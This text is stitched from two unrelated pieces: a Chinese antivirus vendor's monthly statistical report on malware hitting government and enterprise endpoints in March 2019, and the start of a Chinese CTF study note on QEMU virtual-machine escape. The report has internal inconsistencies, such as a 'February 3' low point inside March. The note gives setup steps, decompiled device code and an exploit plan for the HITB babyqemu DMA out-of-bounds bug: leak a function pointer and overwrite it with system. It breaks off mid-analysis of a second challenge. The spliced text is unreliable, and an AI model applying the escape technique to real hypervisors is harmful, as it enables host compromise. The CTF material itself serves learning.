监测数据表示360企业级终端安全产品对特定威胁的云查杀主动请求数量，对于本地已经可以查杀的病毒，不在统计之列。这些数据可以在一定程度上反映出相关机构遭到特定类型活跃恶意程序攻击的数量和强度。
本期报告的监测时间为 2019 年 3 月 1 日 ~ 3 月 31 日。
## 第一章 病毒攻击政企整体分析
360终端安全实验室监测数据显示，2019年3月，政企单位被各类病毒攻击的事件数量比2月增加61.3%，被病毒攻击的政企终端的累计数量比2月增加44.3%，被病毒攻击的政企单位的绝对数量比2月增加44.7%。
### 一、攻击整体态势
2019年3月，病毒攻击的最高峰出现在3月13日（星期三），最低谷则出现在3月9日（星期六）。
2019年3月，被病毒攻击的事件数量比2月增加61.3%。其中，病毒单日单次攻击政企单位的终端数仅为1台的事件比2月增加57.5%，占3月攻击事件总数的56.2%；单日单次攻击终端数为2~10台的事件比2月增加65.4%，占3月攻击事件总数的36.7%；单日单次攻击终端数为11~50台的事件比2月增加91.5%，占3月攻击事件总数的5.9%；单日单次攻击50台以上终端的事件比2月增加17.5%，占3月攻击事件总数的1.3%。
### 二、被攻击终端分析
2019年3月，被病毒攻击的政企终端的累计数量比2月增加44.3%。其中，遭遇蠕虫病毒攻击的政企终端的累计数量比2月增加34.9%，占3月被攻击政企终端的82.8%；遭遇漏洞利用病毒攻击的政企终端的累计数量比2月增加122.4%，占3月被攻击政企终端的16.1%；遭遇勒索病毒攻击的累计数量比2月增加61.9%，占3月被攻击政企终端的1.1%。
在被病毒攻击的政企终端中，广东地区最多，占比高达15.2%，被攻击终端的累计数量比2月增加134.5%；其次是北京，占比为9.9%，被攻击终端的累计数量比2月减少17.6%；江苏排在第三位，占比为8.2%，被攻击终端的累计数量比2月增加236.5%。
在被病毒攻击的政企终端中，卫生行业最多，占比高达17.5%，被攻击终端的累计数量比2月增加67.6%；其次是能源行业，占比为17.0%，被攻击终端的累计数量比2月增加73.7%；政府行业排在第三位，占比为14.5%，被攻击终端的累计数量比2月增加29.2%。
### 三、被攻击单位分析
2019年3月，被病毒攻击的政企单位的绝对数量比2月增加44.7%。在受到病毒攻击的政企单位中，87.8%的单位遭到蠕虫病毒的攻击，绝对数量比2月增加44.5%；31.3%的单位遭到漏洞利用病毒的攻击，绝对数量比2月增加73.8%；5.4%的单位遭到勒索病毒的攻击，绝对数量比2月增加32.4%。
在被病毒攻击的政企单位中，北京地区最多，占比高达11.5%，被攻击单位的绝对数量比2月增加78.7%；其次是广东，占比为11.1%，被攻击单位的绝对数量比2月增加41.3%；浙江排在第三位，占比为8.9%，被攻击单位的绝对数量比2月增加79.3%。
在被病毒攻击的政企单位中，卫生行业最多，占比高达21.6%，被攻击单位的绝对数量比2月增加51.5%；其次是政府行业，占比为21.5%，被攻击单位的绝对数量比2月增加32.4%；能源和金融行业并列第三，占比均为5.3%，被攻击单位的绝对数量比2月分别增加50.0%和33.3%。
## 第二章 勒索病毒攻击政企分析
360终端安全实验室监测数据显示，2019年3月，政企单位被勒索病毒攻击的事件数量比2月增加19.8%，被勒索病毒攻击的政企终端的累计数量比2月增加61.9%，被勒索病毒攻击的政企单位的绝对数量比2月增加32.4%。
### 一、攻击整体态势
2019年3月，勒索病毒攻击的最高峰出现在3月13日（星期三），最低谷则出现在3月23日（星期六）。
2019年3月，被勒索病毒攻击的事件数量比2月增加19.8%。其中，单日单次攻击政企单位的终端数仅为1台的事件比2月增加15.4%，占3月勒索病毒攻击事件总数的72.4%；单日单次攻击终端数为2~10台的事件比2月增加26.7%，占3月勒索病毒攻击事件总数的26.2%；单日单次攻击终端数为11~50台的事件占3月勒索病毒攻击事件总数的1.4%；没有监测到单日单次攻击终端数超过10台以上的事件。
### 二、被攻击终端分析
2019年3月，被勒索病毒攻击的政企终端的累计数量比2月增加61.9%。
在被勒索病毒攻击的政企终端中，山东地区最多，占比高达44.4%，被攻击终端的累计数量比2月增加144.7%；其次是北京和广东，占比均为13.1%，被攻击终端的累计数量比2月分别增加78.9%和70.0%。
在被勒索病毒攻击的政企终端中，能源行业最多，占比高达19.7%，而2月该行业只有极少量终端受到勒索病毒攻击；其次是运营商行业，占比为18.9%，被攻击终端的累计数量比2月增加88.5%；公检法行业排在第三位，占比为15.8%，被攻击终端的累计数量比2月增加28.1%。
### 三、被攻击单位分析
2019年3月，被勒索病毒攻击的政企单位的绝对数量比2月增加32.4%。
在被勒索病毒攻击的政企单位中，北京地区最多，占比高达16.9%，被攻击单位的绝对数量比2月增加100%；其次是新疆，占比为11.9%，被攻击单位的绝对数量比2月增加16.7%；福建、广东、山东并列第三，占比均为10.2%。
在被勒索病毒攻击的政企单位中，政府行业最多，占比高达26.5%，被攻击单位的绝对数量比2月增加30.0%；其次是能源行业，占比为14.3%，被攻击单位的绝对数量比2月增加250.0%；交通行业排在第三位，占比为12.2%，被攻击单位的绝对数量比2月增加50.0%。
## 第三章 漏洞利用病毒攻击政企分析
360终端安全实验室监测数据显示，2019年3月，政企单位被漏洞利用病毒攻击的事件数量比2月增加92.9%，被漏洞利用病毒攻击的政企终端的累计数量比2月增加124.4%，被漏洞利用病毒攻击的政企单位的绝对数量比2月增加73.8%。
### 一、攻击整体态势
2019年3月，漏洞利用病毒攻击的最高峰出现在3月25日（星期一），最低谷则出现在3月10日（星期日）。
2019年3月，被漏洞利用病毒攻击的事件数量比2月增加92.9%。其中，单日单次攻击政企单位的终端数仅为1台的事件比2月增加91.4%，占3月漏洞利用病毒攻击事件总数的63.0%；单日单次攻击终端数为2~10台的事件比2月增加98.1%，占3月漏洞利用病毒攻击事件总数的31.9%；单日单次攻击终端数为11~50台的事件比2月增加78.3%，占3月漏洞利用病毒攻击事件总数的4.3%；单日单次攻击50台以上终端的事件比2月增加100.0%，占3月漏洞利用病毒攻击事件总数的0.8%。
### 二、被攻击终端分析
2019年3月，被漏洞利用病毒攻击的政企终端的累计数量比2月增加73.8%。
在被漏洞利用病毒攻击的政企终端中，甘肃地区最多，占比高达17.7%，被攻击终端的累计数量比2月增加139倍；其次是北京，占比为14.3%，被攻击终端的累计数量比2月增加40.9%；福建排在第三位，占比为13.4%，被攻击终端的累计数量比2月增加58.8%。
在被漏洞利用病毒攻击的政企终端中，能源行业最多，占比高达27.4%，被攻击终端的累计数量比2月增加212.4%；其次是公检法行业，占比为10.5%，被攻击终端的累计数量比2月增加20.8倍；政府行业排在第三位，占比为8.3%，被攻击终端的累计数量比2月减少15.9%。
### 三、被攻击单位分析
2019年3月，被漏洞利用病毒攻击的政企单位的绝对数量比2月增加73.8%。
在被漏洞利用病毒攻击的政企单位中，北京地区最多，占比高达14.2%，被攻击单位的绝对数量比2月增加121.7%；其次是广东，占比为12.5%，被攻击单位的绝对数量比2月增加55.2%；浙江排在第三位，占比为8.6%，被攻击单位的绝对数量比2月增加158.3%。
在被漏洞利用病毒攻击的政企单位中，政府行业最多，占比高达18.9%，被攻击单位的绝对数量比2月增加42.1%；其次是卫生行业，占比为9.8%，被攻击单位的绝对数量比2月增加86.7%；能源行业排在第三位，占比为6.7%，被攻击单位的绝对数量比2月增加137.5%。
## 第四章 蠕虫病毒攻击政企分析
360终端安全实验室监测数据显示，2019年3月，政企单位被蠕虫病毒攻击的事件数量比2月增加57.3%，被蠕虫病毒攻击的政企终端的累计数量比2月增加34.9%，被蠕虫病毒攻击的政企单位的绝对数量比2月增加44.5%。
### 一、攻击整体态势
2019年3月，蠕虫病毒攻击的最高峰出现在3月28日（星期四），最低谷则出现在2月3日（星期六）。
2019年3月，被蠕虫病毒攻击的事件数量比2月增加57.3%。其中，单日单次攻击政企单位的终端数仅为1台的事件比2月增加52.9%，占3月攻击事件总数的54.1%；单日单次攻击终端数为2~10台的事件比2月增加61.5%，占3月攻击事件总数的38.1%；单日单次攻击终端数为11~50台的事件比2月增加92.3%，占3月攻击事件总数的6.4%；单日单次攻击50台以上终端的事件比2月增加11.3%，占3月攻击事件总数的1.4%。
### 二、被攻击终端分析
2019年3月，被蠕虫病毒攻击的政企终端数量比2月增加34.9%。
在被蠕虫病毒攻击的政企终端中，广东地区最多，占比高达16.6%，被攻击终端的累计数量比2月增加131.7%；其次是贵州，占比为9.9%，被攻击终端的累计数量比2月增加82.4%；北京排在第三位，占比为9.0%，被攻击终端的累计数量比2月减少27.6%。
在被蠕虫病毒攻击的政企终端中，卫生行业最多，占比高达20.3%，被攻击终端的累计数量比2月增加65.1%；其次是政府行业，占比为15.7%，被攻击终端的累计数量比2月增加36.1%；能源行业排在第三位，占比为15.0%，被攻击终端的累计数量比2月增加49.9%。
### 三、被攻击单位分析
2019年3月，被蠕虫病毒攻击的政企单位的绝对数量比2月增加44.7%。
在被蠕虫病毒攻击的政企单位中，广东地区最多，占比高达11.5%，被攻击单位的绝对数量比2月增加43.0%；其次是北京，占比为11.2%，被攻击单位的绝对数量比2月增加74.6%；浙江排在第三位，占比为8.8%，被攻击单位的绝对数量比2月增加64.2%。
在被蠕虫病毒攻击的政企单位中，卫生行业最多，占比高达23.3%，被攻击单位的绝对数量比2月增加48.8%；其次是政府行业，占比为22.0%，被攻击单位的绝对数量比2月增加37.5%；金融行业排在第三位，占比为5.3%，被攻击单位的绝对数量比2月增加50.0%。
## 第五章 3月热点病毒事件关注
### GandCrab V5.2利用恐吓主题钓鱼邮件传播
近期，360威胁情报中心捕获到一起针对中文使用者的钓鱼邮件。该邮件带有一个压缩包，压缩包内是最新的GandCrab 5.2勒索软件。
由于Gandcrab5.2版本会通过垃圾电子邮件分发，因此建议用户不要打开任何未知来源的电子邮件，尤其是不要打开附件。即使附件来自常用联系人，也建议您在打开之前使用360天擎对其进行扫描，以确保不包含任何恶意文档或文件。
### 多家医院服务器受到GlobeImposter勒索病毒攻击
3月10日，360安全服务应急响应团队接到某省多家医院服务器遭受攻击的应急救援，该省同一卫生专网遭到GlobeImposter
V3勒索病毒攻击，多台业务服务器遭黑客加密勒索，影响该省近60家市县医院。
从截获的样本和勒索攻击溯源分析来看，GlobeImposter
V3的攻击手段和加密方式和以往版本相比并没有新的变化：攻击手段依然是定向爆破和投递勒索，通过RDP远程桌面弱密码攻击服务器。
### 首个利用WinRAR漏洞传播的未知勒索软件出现
3月17日，360威胁情报中心截获了首个利用WinRAR漏洞（CVE-2018-20250）传播未知恶意勒索软件的ACE文件。该恶意压缩文件名为vk_4221345.rar，当受害者在本地计算机上通过WinRAR解压该文件后便会触发漏洞，漏洞利用成功后会将内置的勒索软件写入到用户计算机启动项目录中，当用户重启或登录系统都会执行该勒索软件从而导致重要资料被加密。
由于该勒索软件执行后并没有保存生成的RSA公私钥，也没有通过其他渠道将公私钥信息发送给攻击者，所以即便受害者向勒索软件作者支付相应的赎金也不可能解密文件。360威胁情报中心提醒用户，如遇到类似的勒索软件攻击，切忌支付赎金，并再次提醒广大用户务必对此高危漏洞做好十足的防护措施。
### 海德鲁公司多个工厂遭遇LockerGoga勒索病毒攻击
3月18日，世界最大的综合性铝业集团之一的挪威海德鲁公司（Norsk
Hydro）在美国和欧洲的多个工厂遭受勒索软件攻击，导致IT系统无法使用，造成多个工厂关闭和部分工厂切换为手动运营模式。该公司临时关闭多个工厂，并将挪威、卡塔尔和巴西等国家的工厂运营模式部分改为“可以使用的”手动模式，以缓解对生产的影响。该勒索病毒似乎还攻击了美国的化工企业Hexion和Momentive，以至于部分员工无法正常登陆系统。
360威胁情报中心对该勒索病毒（LockerGoga）进行了进一步的详细分析，发现该勒索病毒极可能为定向攻击的破坏性勒索病毒，会加密各种类型的文件，包括PE文件、系统目录以及启动目录下的文件，因此具有很强的破坏性。
## 第六章 政企终端安全建议
360终端安全实验室提醒广大政企单位注意以下事项：
### 一、及时更新最新的补丁库
根据360企业安全集团终端安全多年的运营经验，病毒大规模爆发的原因大都是补丁安装不及时所致，因此及时更新补丁是安全运维工作的重中之重，但是很多政企单位由于业务的特殊性，对打补丁要求非常严格。360终端安全产品已经集成了先进的补丁管理功能，基于业界最佳的补丁管理实践，能够进行补丁编排，对补丁按照场景进行灰度发布，并且对微软更新的补丁进行了二次运营，解决了很多的兼容性问题，能够最大程度上解决补丁难打问题，帮助政企单位提升网络的安全基线。
### 二、杜绝弱口令问题
弱口令是目前主机安全入侵的第一大安全隐患，大部分大规模泛滥的病毒都内置了弱口令字典，能够轻松侵入使用弱口令的设备，应该坚决杜绝弱口令。360终端安全实验室建议登录口令尽量采用大小写、字母、数字、特殊符号混合的组合结构，且口令位数应足够长，并在登陆安全策略里限制登录失败次数、定期更换登录口令等。多台机器不使用相同或相似的口令，不使用默认的管理员名称如admin，不使用默认密码如admin、不使用简单密码如：admin123、12345678、666666等。
### 三、重要资料定期隔离备份
政企单位应尽量建立单独的文件服务器进行重要文件的存储备份，即使条件不允许也应对重要的文件进行定期隔离备份。
### 四、提高网络安全基线
掌握日常的安全配置技巧，如对共享文件夹设置访问权限，尽量采用云协作或内部搭建的wiki系统实现资料共享；尽量关闭3389、445、139、135等不用的高危端口，禁用Office宏等。如果没有这类安全经验，也可以使用360终端威胁评估产品（ETA）来对终端安全进行整体风险评估，360终端威胁评估产品（ETA）同时采用中国安全基本标准（CGDCC）和美国安全基线标准（USGCB），拥有数百种安全基线的检测能力和终端的深度安全检测能力，可以很好地帮助政企单位评估内部终端的安全。
### 五、保持软件使用的可信
平时要养成良好的安全习惯，不要点击陌生链接、来源不明的邮件附件，打开前使用安全扫描并确认安全性，尽量从官网等可信渠道下载软件，目前通过软件捆绑来传播的病毒也在逐渐增多，尤其是移动应用环境，被恶意程序二次打包的APP在普通的软件市场里非常常见。360终端安全产品家族中的软件管家，基于多年的安全软件运营经验，能够为政企单位量身定做一个可信的安全软件使用环境，避免员工任意安装软件而带来的病毒入侵风险。
### 六、选择正确的反病毒软件
随着威胁的发展，威胁开始了海量化和智能化趋势。对于海量化的威胁，就需要利用云计算的能力来对抗威胁海量化的趋势，因此在选择反病毒软件时，需要选择具备云查杀能力的反病毒软件。360终端安全的天擎基于云查杀技术和多年来威胁样本运营经验，已经具备150亿威胁样本的查杀能力，而且还首创了白名单技术，并拥有10亿量级的白名单库，而且内置云查杀、QVM、AVE、QEX、主动防御等多种引擎，能够深度解决政企网络的病毒威胁。
### 七、建立高级威胁深度分析与对抗能力
对于威胁的智能化趋势，很多智能威胁通过多种手段来躲避传统反病毒软件的查杀，这时就需要政企单位具备高级威胁深度分析和对抗能力。360终端安全响应系统基于业内公认的EDR思想，能够以终端的维度、事件的维度和时间的维度来分析网络中出现的高级威胁事件，能够为客户提供三维的立体威胁分析能力。后端利用大数据技术，能够监控终端上的所有灰文件的行为，内置AI模型，能够有效地识别传统反病毒软件识别不了的高级威胁入侵事件，帮助客户发现APT、流量、挖矿、勒索等新型威胁。
### 关于360终端安全实验室
360终端安全实验室由多名经验丰富的恶意代码研究专家组成，着力于常见病毒、木马、蠕虫、勒索软件等恶意代码的原理分析和研究，致力为中国政企客户提供快速的恶意代码预警和处置服务，在曾经流行的WannaCry、Petya、Bad
Rabbit的恶意代码处置过程中表现优异，受到政企客户的广泛好评。
360终端安全实验室以360天擎新一代终端安全管理系统为依托，为政企客户提供简单有效的终端安全管理理念、完整的终端解决方案和定制化的安全服务，帮助客户解决内网安全与管理问题，保障政企终端安全。
### 关于360天擎新一代终端安全管理系统
360天擎新一代终端安全管理系统是360企业安全集团为解决政企机构终端安全问题而推出的一体化解决方案，是中国政企客户4000万终端的信赖之选。系统以功能一体化、平台一体化、数据一体化为设计理念，以安全防护为核心，以运维管控为重点，以可视化管理为支撑，以可靠服务为保障，提供了十六大基础安全能力，帮助政企客户构建终端威胁检测、终端威胁响应、终端威胁鉴定等高级威胁对抗能力，提升安全规划、战略分析和安全决策等终端安全治理能力。
特别的是，360企业安全还面向所有360天擎政企用户免费推出敲诈先赔服务：如果用户在开启了360天擎敲诈先赔功能后，仍感染了勒索软件，360企业安全将负责赔付赎金，为政企用户提供百万先赔保障，帮政企客户免除后顾之忧。
### 关于360天擎终端安全响应系统
360天擎终端安全响应系统（EDR）以行为引擎为核心，基于人工智能和大数据分析技术，对主机、网络、文件和用户等信息，进行深层次挖掘和多维度分析，结合云端优质威胁情报，将威胁进行可视化，并通过场景化和全局性的威胁追捕，对事件进行深度剖析，识别黑客/威胁意图，追踪威胁的扩散轨迹，评估威胁影响面，从而协同EPP、SOC、防火墙等安全产品，进行快速自动化的联动响应，将单次响应转化为安全策略，控制威胁蔓延，进行持续遏制，全面提升企业安全防护能力。 | 社区文章 |
# QEMU Escape学习笔记
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 环境搭建
### 1、源码安装qemu
qemu最好通过下载源码安装方式，如果通过apt安装，会依赖当前ubuntu的版本，qemu的版本比较老。
#下载源码
wget https://download.qemu.org/qemu-5.0.0.tar.xz
#安装依赖
sudo apt-get install git libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev
#编译
tar xvJf qemu-5.0.0.tar.xz
cd qemu-5.0.0
./configure
make #这一步编译可能需要30分钟左右
sudo make install
#接下来测试命令
qemu-system-x86_64 --version
#QEMU emulator version 5.0.0
#Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers
### 2、可能遇到的问题
1. KVM kernel module: No such file or directory
在启动qemu的过程中如果遇到`Could not access KVM kernel module: No such file or
directory`问题，需要检查虚拟机->设置->处理器中的虚拟化引擎的虚拟化Inter VT-x/EPT 或AMD-V/RVI是否开启。
2. KVM kernel module: Permission denied
启动qemu 在开启-enable-kvm时遇到以下问题
Could not access KVM kernel module: Permission denied
failed to initialize KVM: Permission denied
通过查资料，发现时kvm权限问题，于是运行以下命令
$ sudo chown root:kvm /dev/kvm
#chown: invalid group: ‘root:kvm’
又遇到问题，可能没有安装qemu-kvm，参考<https://askubuntu.com/questions/1143716/how-can-i-solve-chown-invalid-user>
$ sudo apt install qemu-kvm
安装完后配置权限
root[@ubuntu](https://github.com/ubuntu "@ubuntu"):# sudo adduser $USER kvm
Adding user `root' to group `kvm' ...
Adding user root to group kvm
Done.
root[@ubuntu](https://github.com/ubuntu "@ubuntu"):# chown $USER /dev/kvm
root[@ubuntu](https://github.com/ubuntu "@ubuntu"):# chmod 666 /dev/kvm
root[@ubuntu](https://github.com/ubuntu "@ubuntu"):# ll /dev/kvm
crw-rw---- 1 root kvm 10, 232 Nov 18 17:21 /dev/kvm
root[@ubuntu](https://github.com/ubuntu "@ubuntu"):# systemctl restart libvirtd.service
Failed to restart libvirtd.service: Unit libvirtd.service not found.
又出现错误，参考<https://unix.stackexchange.com/questions/609241/creating-vms-using-kvm-error-unit-libvirtd-service-could-not-be-found>
root[@ubuntu](https://github.com/ubuntu "@ubuntu"):# kvm-ok
INFO: /dev/kvm exists
KVM acceleration can be used
root[@ubuntu](https://github.com/ubuntu "@ubuntu"):# apt install -y qemu qemu-kvm libvirt-daemon libvirt-clients bridge-utils virt-manager
安装完后，测试成功
root[@ubuntu](https://github.com/ubuntu "@ubuntu"):/home/leo/Desktop/strng/strng# systemctl status libvirtd.service
● libvirtd.service - Virtualization daemon
Loaded: loaded (/lib/systemd/system/libvirtd.service; enabled; vendor preset:
Active: active (running) since Wed 2020-11-18 19:06:08 PST; 48s ago
Docs: man:libvirtd(8)
https://libvirt.org
Main PID: 54248 (libvirtd)
Tasks: 19 (limit: 32768)
CGroup: /system.slice/libvirtd.service
├─54248 /usr/sbin/libvirtd
├─54723 /usr/sbin/dnsmasq --conf-file=/var/lib/libvirt/dnsmasq/defaul
└─54724 /usr/sbin/dnsmasq --conf-file=/var/lib/libvirt/dnsmasq/defaul
root[@ubuntu](https://github.com/ubuntu "@ubuntu"):~# systemctl restart libvirtd.service
root[@ubuntu](https://github.com/ubuntu "@ubuntu"):~# ./launch.sh
[ 0.000000] Initializing cgroup subsys cpuset
[ 0.000000] Initializing cgroup subsys cpu
[ 0.000000] Initializing cgroup subsys cpuacct
启动成功！！！
## HITB GSEC2017 babyqemu
### Step1 : 分析设备
运行一下命令解包
mkdir core
cd core
cpio -idmv < ../rootfs.cpio
得到文件系统后，首先查看启动命令lauch.sh
#! /bin/sh
./qemu-system-x86_64 \
-initrd ./rootfs.cpio \
-kernel ./vmlinuz-4.8.0-52-generic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm \
-monitor /dev/null \
-m 64M --nographic -L ./dependency/usr/local/share/qemu \
-L pc-bios \
-device hitb,id=vda
注意到`-device hitb`参数知道了存在一个hitb这个pci设备
然后将qemu-system-x86_64拖入ida中，搜索hitb相关的函数
先看init初始化函数，需要将设备类型定义为PCIDeviceClass结构体。PCIDeviceClass结构体在Local
type中可以找到它的描述定义
struct PCIDeviceClass
{
DeviceClass_0 parent_class;
void (*realize)(PCIDevice_0 *, Error_0 **); //0xc0
int (*init)(PCIDevice_0 *);
PCIUnregisterFunc *exit;
PCIConfigReadFunc *config_read;
PCIConfigWriteFunc *config_write;
uint16_t vendor_id; //0xe8
uint16_t device_id; //0xea
uint8_t revision;
uint16_t class_id;
uint16_t subsystem_vendor_id;
uint16_t subsystem_id;
int is_bridge;
int is_express;
const char *romfile;
};
void __fastcall hitb_class_init(ObjectClass_0 *a1, void *data)
{
PCIDeviceClass *v2; // rax
v2 = object_class_dynamic_cast_assert(
a1,
"pci-device",
"/mnt/hgfs/eadom/workspcae/projects/hitbctf2017/babyqemu/qemu/hw/misc/hitb.c",
469,
"hitb_class_init");
v2->revision = 16;
v2->class_id = 255;
v2->realize = pci_hitb_realize;
v2->exit = pci_hitb_uninit;
v2->vendor_id = 0x1234;
v2->device_id = 0x2333;
}
可以看到设备号device_id=0x2333，功能号vendor_id=0x1234
接着在ubuntu中查看pci的I/O信息，运行`sudo ./lauch.sh`，遇到错误`./qemu-system-x86_64:
/usr/lib/x86_64-linux-gnu/libcurl.so.4: version `CURL_OPENSSL_3' not found
(required by ./qemu-system-x86_64)`
运行`sudo apt-get install libcurl3`可以解决
# lspci -v
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2333 -> hitb
# cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource
0x00000000fea00000 0x00000000feafffff 0x0000000000040200
0x0000000000000000 0x0000000000000000 0x0000000000000000
resource文件内容的格式为start end flag
。在resource0文件中，根据flag最后一位为0可知存在一个MMIO的内存空间，地址为0xfea00000，大小为0x100000。
然后看hitb设备注册了什么函数，分析pci_hitb_realize函数
void __fastcall pci_hitb_realize(PCIDevice_0 *pdev, Error_0 **errp)
{
pdev->config[61] = 1;
if ( !msi_init(pdev, 0, 1u, 1, 0, errp) )
{
timer_init_tl(&pdev[1].io_regions[4], main_loop_tlg.tl[1], 1000000, hitb_dma_timer, pdev);//timer结构体，回调函数为hitb_dma_timer
qemu_mutex_init(&pdev[1].io_regions[0].type);
qemu_cond_init(&pdev[1].io_regions[1].type);
qemu_thread_create(&pdev[1].io_regions[0].size, "hitb", hitb_fact_thread, pdev, 0);
memory_region_init_io(&pdev[1], &pdev->qdev.parent_obj, &hitb_mmio_ops, pdev, "hitb-mmio", 0x100000uLL);//注册mmio内存空间，内存操作结构体hitb_mmio_ops
pci_register_bar(pdev, 0, 0, &pdev[1]);
}
}
注册了timer结构体，其回调函数为hitb_dma_timer；同时也注册了hitb_mmio_ops内存操作的结构体，其包含hitb_mmio_read和hitb_mmio_write两个操作。
得到了重点函数
hitb_mmio_read
hitb_mmio_write
hitb_dma_timer
### Step2 : 分析函数
在分析以上三个函数之前，需要先搞懂设备的结构体，在Local type中搜索hitb可以找到HitbState
struct __attribute__((aligned(16))) HitbState
{
PCIDevice_0 pdev;
MemoryRegion_0 mmio;
QemuThread_0 thread;
QemuMutex_0 thr_mutex;
QemuCond_0 thr_cond;
_Bool stopping;
uint32_t addr4;
uint32_t fact;
uint32_t status;
uint32_t irq_status;
dma_state dma;
QEMUTimer_0 dma_timer;
char dma_buf[4096];
void (*enc)(char *, unsigned int);
uint64_t dma_mask;
};
struct dma_state
{
uint64_t src;
uint64_t dst;
uint64_t cnt;
uint64_t cmd;
};
#### hitb_mmio_read
uint64_t __fastcall hitb_mmio_read(HitbState *opaque, hwaddr addr, unsigned int size)
{
if ( size == 4 )
{
if ( addr == 128 ) return opaque->dma.src;
if ( addr == 140 ) return *(&opaque->dma.dst + 4);
if ( addr == 132 ) return *(&opaque->dma.src + 4);
if ( addr == 136 ) return opaque->dma.dst;
if ( addr == 144 ) return opaque->dma.cnt;
if ( addr == 152 ) return opaque->dma.cmd;
if ( addr == 8 ) return opaque->fact;
if ( addr == 4 ) return opaque->addr4;
if ( addr == 32 ) return opaque->status;
if ( addr == 36 ) return opaque->irq_status;
}
size==4，通过addr读取结构体数据
#### hitb_mmio_write
void __fastcall hitb_mmio_write(HitbState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
if ( (addr > 0x7F || size == 4) && (!((size - 4) & 0xFFFFFFFB) || addr <= 0x7F) )
{
if ( addr == 128 && !(opaque->dma.cmd & 1))
opaque->dma.src = val;
if ( addr == 140 && !(opaque->dma.cmd & 1))
*(&opaque->dma.dst + 4) = val;
if ( addr == 144 && !(opaque->dma.cmd & 1) )
opaque->dma.cnt = val;
if ( addr == 152 && val & 1 && !(opaque->dma.cmd & 1) )
{
opaque->dma.cmd = val;
v7 = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL_0);
timer_mod(&opaque->dma_timer, (((4835703278458516699LL * v7) >> 64) >> 18) - (v7 >> 63) + 100);//触发timer
}
if ( addr == 132 && !(opaque->dma.cmd & 1))
*(&opaque->dma.src + 4) = val;
if ( addr == 136 && !(opaque->dma.cmd & 1) )
opaque->dma.dst = val;
}
}
关键的操作如上所示，都需要满足的条件`size==4 &&
opaque->dma.cmd&1==0`，其中当`addr==152`时触发timer，调用hitb_dma_timer函数
#### hitb_dma_timer
void __fastcall hitb_dma_timer(HitbState *opaque)
{
v1 = opaque->dma.cmd;
if ( v1 & 1 )
{
if ( v1 & 2 )
{
v2 = (LODWORD(opaque->dma.src) - 0x40000);
if ( v1 & 4 )
{ //v1==7
v7 = &opaque->dma_buf[v2];
(opaque->enc)(v7, LODWORD(opaque->dma.cnt));//调用enc函数指针
v3 = v7;
}
else
{ //v1==3
v3 = &opaque->dma_buf[v2];
}
cpu_physical_memory_rw(opaque->dma.dst, v3, opaque->dma.cnt, 1);
v4 = opaque->dma.cmd;
v5 = opaque->dma.cmd & 4;
}
else
{ //v1==1
v6 = &opaque[-36] + opaque->dma.dst - 2824;
LODWORD(v3) = opaque + opaque->dma.dst - 0x40000 + 3000;
cpu_physical_memory_rw(opaque->dma.src, v6, opaque->dma.cnt, 0);
v4 = opaque->dma.cmd;
v5 = opaque->dma.cmd & 4;
if ( opaque->dma.cmd & 4 )
{
v3 = LODWORD(opaque->dma.cnt);
(opaque->enc)(v6, v3, v5);
v4 = opaque->dma.cmd;
v5 = opaque->dma.cmd & 4;
}
}
opaque->dma.cmd = v4 & 0xFFFFFFFFFFFFFFFELL;
}
}
cpu_physical_memory_rw函数的第一个参数时物理地址，虚拟地址需要通过读取/proc/$pid/pagemap转换为物理地址。
1. 1、dma.cmd==7时，idx=dma.src-0x40000，addr = dma_buf[idx]，调用enc加密函数加密，并写入到dma.dst中
2. 2、dma.cmd==3时，idx=dma.src-0x40000，addr = dma_buf[idx]，写入到dma.dst中
3. 3、dma.cmd==1时，idx=dma.dst-0x40000,addr=dma_buf[idx]，将其写入到dma.src中（第二个参数可以通过调试得到其地址就是dma_buf[dma.dst-0x40000]
至此可以找到漏洞点在hitb_dma_timer，因为dma.src和dma.dst都是可以通过hitb_mmio_write函数进行控制，因此可以随意指定dma_buf的索引进行任意地址读写。
利用思路为
1. 1、使得idx = 0x10000，泄露dma_buf后面的enc函数指针，计算得到system函数地址
2. 2、使得idx=0x10000，修改enc函数指针为system函数
3. 3、在&dma_buf[0]中写入”cat flag”指令，并调用enc加密函数
[参考exp](https://github.com/ray-cp/vm-escape/blob/master/qemu-escape/hitb-gsec-2017-babyqemu/exp.c)
### Step3 : 调试
写好exp.c后将其打包进rootfs.cpio中
cc -O0 -static -o exp exp.c
cp exp core/root
cd core
find . | cpio -o -H newc | gzip > ../rootfs.cpio
启动后查看qemu的pid并附加上去，下断点开始调试
$ ps -ax | grep qemu
$ sudo gdb -q --pid=[pid]
pwndbg> file qemu-system-x86_64
pwndbg> b ...
pwndbg> c
#### 下断点问题
在我第一次下断点的时候遇到一个问题
应该是因为设置断点的地址只是个偏移量，如果程序开启PIE，就不能成功插入
解决办法：重新附加到进程即可，或者获得程序基址计算断点的真实地址
pwndbg> detach
pwndbg> attach [pid]
#### dma_timer函数触发
在调试exp过程中遇到一个细节问题，在如果想触发hitb_dma_timer而传入addr=152后，没有sleep，那么程序不会调用hitb_dma_timer，从而泄露不了数据
这是因为timer_mod的参数expire_time表示超过这个时间才会去调用cb(callback)回调函数，因此exp中如果调用hitb_dma_timer，都需要添加sleep函数。
## 2018_seccon_q-escape
这题通过魔改原有设备中的代码而形成的漏洞，一般来说代码量比较大，最好使用源码进行对比分析，快速定位到漏洞点
### Step1 ：分析设备
[*] '~/seccon_2018_q-escape/qemu-system-x86_64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
解压后拿到文件系统，查看./run.sh
#!/bin/sh
./qemu-system-x86_64 \
-m 64 \
-initrd ./initramfs.igz \
-kernel ./vmlinuz-4.15.0-36-generic \
-append "priority=low console=ttyS0" \
-nographic \
-L ./pc-bios \
-vga std \
-device cydf-vga \
-monitor telnet:127.0.0.1:2222,server,nowait
设备名为cydf-vga，并且允许telnet连接上去
